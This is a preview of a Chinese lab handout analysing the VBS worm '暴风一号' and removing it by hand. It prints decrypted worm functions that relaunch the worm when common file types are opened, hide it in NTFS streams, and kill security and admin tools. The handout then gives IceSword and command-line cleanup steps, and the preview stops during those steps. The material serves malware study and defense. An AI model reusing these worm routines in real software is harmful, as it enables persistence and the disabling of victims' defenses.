蠕虫病毒代码分析实验_第1页
蠕虫病毒代码分析实验_第2页
蠕虫病毒代码分析实验_第3页
蠕虫病毒代码分析实验_第4页
蠕虫病毒代码分析实验_第5页
已阅读5页,还剩12页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、1 蠕虫病毒代码分析实验1.1 实验目的学会简单分析病毒代码,从病毒代码中看懂病毒是通过何种方法对系统的篡改和破坏。了解病毒是如何隐藏的,学会借助IceSword软件,手动查杀病毒。1.2 实验原理本课以暴风一号为例病毒本身对自己加密。读取病毒自身,将注释解密以后得到最后的病毒代码,然后通过VBS的Execute语句执行解密后的病毒代码,同时把新加密的代码写入源文件。所以,我们只要把最后的Execute语句改写输出语句,就可以得到病毒解密后的代码了。根据病毒解密后的VBS脚本语言,病毒首先通过执行 strreverse() 函数,得到病毒的解密函数。解密运行病毒之后,病毒会重新生成密钥,将病毒

2、代码加密之后,再将其自复制。所以病毒每运行一次之后,其文件内容和病毒运行之前完全不一样。病毒会遍历各个磁盘,并向其根目录写入 Autorun.inf 以及 .vbs 文件,当用户双击打开磁盘时,会触发病毒文件,使之运行。病毒会将系统的 Wscript.exe 复制到 C:WindowsSystemsvchost.exe如果是 FAT 格式,病毒会将自身复制到 C:WindowsSystem32 下,文件名为随机数字。如果是 NTFS 格式,病毒将会通过 NTFS 文件流的方式,将其附加到如下文件中C:Windowsexplorer.exe C:WindowsSystem32smss.exe。并

3、且病毒会修改注册表,使进程异常,如果满足一定条件,则会触发锁定计算机等恶意行为。通过了解病毒的程序,一步步瓦解来清除病毒。实验安全评级:实验所需课时:1课时1.3 实验内容1.3.1 实验环境l 硬件设备1. PC机一台l 软件工具1. 暴风一号病毒样本(解密后)2. ICEsWord3. 虚拟机1.3.2 实验角色单人操作1.3.3 实验步骤Step1:中毒前的相关设置进入“我的电脑,” “工具栏>文件夹选项>查看”设置“不显示隐藏文件和文件夹”:中毒前Step2 :通过运行病毒观察一下病毒的效果, 中毒后因为电脑中毒,速度非常缓慢,请耐心等待!Step3: 进入C盘,工具栏&g

4、t;文件夹选项>查看>显示隐藏文件和文件夹并取消勾选隐藏系统文件。但是却没有效果。Step4: 病毒函数部分分析 :Main()函数Sub Main() On Error Resume Next# 如果没有这句代码,运行时错误将显示错误信息,同时,代码的执行也随之终止。 Dim Args, VirusLoad, VirusAss Set Args = WScript.Arguments VirusLoad = GetMainVirus(1) VirusAss = GetMainVirus(0) ArgNum = 0 Do While ArgNum < Args.Count P

5、aram = Param & " " & Args(ArgNum) ArgNum = ArgNum + 1 Loop SubParam = LCase(Right(Param, 3) Select Case SubParam Case "run"#当运行run时,同时启动病毒文件 RunPath = Left(WScript.ScriptFullName, 2) Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%syste

6、msvchost.exe " & VirusLoad) Case "txt", "log", "ini", "inf"#运行"txt", "log", "ini", "inf"后缀名文件时,同时启动病毒文件 RunPath = "%SystemRoot%system32NOTEPAD.EXE " & Param Call Run(RunPath) Call InvadeSystem(Viru

7、sLoad, VirusAss) Call Run("%SystemRoot%systemsvchost.exe " & VirusLoad) Case "bat", "cmd"#运行"bat", "cmd"批处理或命令提示符时,同时启动病毒文件 RunPath = "CMD /c echo Hi!I'm here! & pause" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Ca

8、ll Run("%SystemRoot%systemsvchost.exe " & VirusLoad) Case "reg"#运行"reg"注册表导入程序时,同时启动病毒文件 RunPath = "regedit.exe " & """" & Trim(Param) & """" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call

9、Run("%SystemRoot%systemsvchost.exe " & VirusLoad) Case "chm"#运行"chm"帮助文件时,同时启动病毒文件 RunPath = "hh.exe " & """" & Trim(Param) & """" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%

10、SystemRoot%systemsvchost.exe " & VirusLoad) Case "hlp"#运行"hlp"帮助文件时,同时启动病毒文件 RunPath = "winhlp32.exe " & """" & Trim(Param) & """" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%Syste

11、mRoot%systemsvchost.exe " & VirusLoad) Case "dir" RunPath = """" & Left(Trim(Param), Len(Trim(Param) - 3) & """"#运行dir命令,同时启动病毒文件 Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%systemsvchost.exe &

12、quot; & VirusLoad) Case "oie" RunPath = """%ProgramFiles%Internet ExplorerIEXPLORE.EXE"""#打开我IE图标,同时启动病毒文件 Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%systemsvchost.exe " & VirusLoad) Case "omc" Ru

13、nPath = "explorer.exe /n,:20D04FE0-3AEA-1069-A2D8-08002B30309D"#打开我的电脑图标,同时启动病毒文件 Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%systemsvchost.exe " & VirusLoad) Case "emc" RunPath = "explorer.exe /n,/e,:20D04FE0-3AEA-1069-A2D8-0

14、8002B30309D" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%systemsvchost.exe " & VirusLoad) Case Else If PreDblInstance = True The#如果条件满足,退出脚本宿主 WScript.Quit End If Timeout = DateDiff("ww", GetInfectedDate, Date) - 12 If Timeout > 0 An

15、d Month(Date) = Day(Date) Then Call VirusAlert#Call命令调用其它函数 Call MakeJoke(CInt(Month(Date) End If Call MonitorSystem End SelectEnd SubStep5:病毒函数部分分析 :MonitorSystem()函数Sub MonitorSystem() On Error Resume Next Dim ProcessNames, ExeFullNames ProcessNames = Array("ras.exe", "360tray.exe&q

16、uot;, "taskmgr.exe", "cmd.exe", "", "regedit.exe", "regedit.scr", "regedit.pif", "", "msconfig.exe")#变量赋值 VBSFullNames = Array(GetMainVirus(1) Do Call KillProcess(ProcessNames)#如发现变量中的进程,调用结束进程函数 Call InvadeSystem(GetMai

17、nVirus(1), GetMainVirus(0) Call KeepProcess(VBSFullNames)#保持病毒进程 WScript.Sleep 3000#脚本宿主等待时间为3000毫秒=3秒 LoopEnd SubStep6:病毒函数部分分析 :GetMainVirus ()函数Function GetMainVirus(N) On Error Resume Next MainVirusName = GetSerialNumber(GetSystemDrive() & ".vbs" If GetFileSystemType(GetSystemDrive

18、() = "NTFS" Then#判断是否为NTFS分区 If N = 1 Then GetMainVirus = Fso.GetSpecialFolder(N) & "smss.exe:" & MainVirusName #病毒将会通过 NTFS 文件流的方式将其附加到C:Windowssmss.exe End If If N = 0 Then GetMainVirus = Fso.GetSpecialFolder(N) & "explorer.exe:" & MainVirusName #病毒将会通

19、过 NTFS 文件流的方式将其附加到C:Windowsexplorer.exe End If Else GetMainVirus = Fso.GetSpecialFolder(N) & "" & MainVirusName End IfEnd FunctionStep7:病毒函数部分分析 :KillProcess()函数Sub KillProcess(ProcessNames)#结束进程函数(读取变量值) On Error Resume Next Set WMIService = GetObject("winmgmts:.rootcimv2&quo

20、t;) For Each ProcessName In ProcessNames Set ProcessList = WMIService.execquery(" Select * From win32_process where name ='" & ProcessName & "' ") For Each Process In ProcessList#循环查找核对进程菜单中的每一个进程 intReturn = Process.Terminate If intReturn <> 0 Then WshShell

21、.Run "CMD /c ntsd -c q -p " & Process.Handle, vbHide, False #调用CMD命令提示符,用ntsd命令结束进程,并隐藏CMD窗口 End If Next NextEnd Sub以上为部分代码分析,现在做清除病毒实验,以下步骤必须完全照做,否则将重头再来。Step8: 解压打开IceSword文件设置里禁止进程创建结束进程wscript.exe、,与wscript.exe相同图标的进程svchost.exe,和 smss.exe进程,并确认确实已结束进程Step9:“文件”->“设置”里“取消禁止进程创建”

22、。开始>运行>CMD,输入cd 定位到C盘根目录,输入attrib /s /d s h强制显示目录下所有的文件。(耐心等待中)开始>运行>输入 C: (类似地址栏进入方式),这样进入C盘根目录可以防止触发病毒再爆发(注意:双击c盘将再次触发病毒)。删除显示的所有1KB快捷方式以及以”.VBS”结尾的文件,和autorun.inf。从地址栏进入c:windowssystem,删除svchost.exe文件Step 10:插入U盘,在地址栏(或运行)进入(千万不要双击我的电脑打开,如开有自动播放功能,插入U盘时,长按shift键禁止其自动运行)。方法:,输入X:,回车,X为

23、你的U盘盘符进入后“向上”。推到我的电脑,右键格式化U盘,选择FAT或FAT32格式。从地址栏进入C:WINDOWS,复制其中的explorer.exe和C:WINDOWSsystem32下的smss.exe文件放入U盘(这样可以自动脱毒)自动脱毒地址栏方式输入C:WINDOWSsystem32dllcache删除C:WINDOWSsystem32下的smss.exeStep11:开始>运行>cmd ,现在用IceSword ,先在“文件设置”里禁止进程创建,然后结束explorer进程。在CMD命令提示符中输入:copy x:explorer.exe c:windowscopy

24、x:explorer.exe c:windowssystem32dllcachecopy x:smss.exe c:windowssystem32copy x:smss.exe c:windowssystem32dllcache(x为你的U盘盘符)。完成后,在IceSword中将 “文件设置”里“禁止进程创建”取消,然后再cmd命令行中输入“explorer.exe”,关闭cmd命令提示符。Step12:开始>运行>gpedit.msc<1. 用户配置>管理模板>系统->关闭自动播放:<2. 设置:启用禁止所有驱动器自动播放<3. 用户配置>管理模板>系统-> “不要运行指定的windows应用程序”,设置“禁止wscript.exe运行” Step13:开始>运行>regedit&g

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论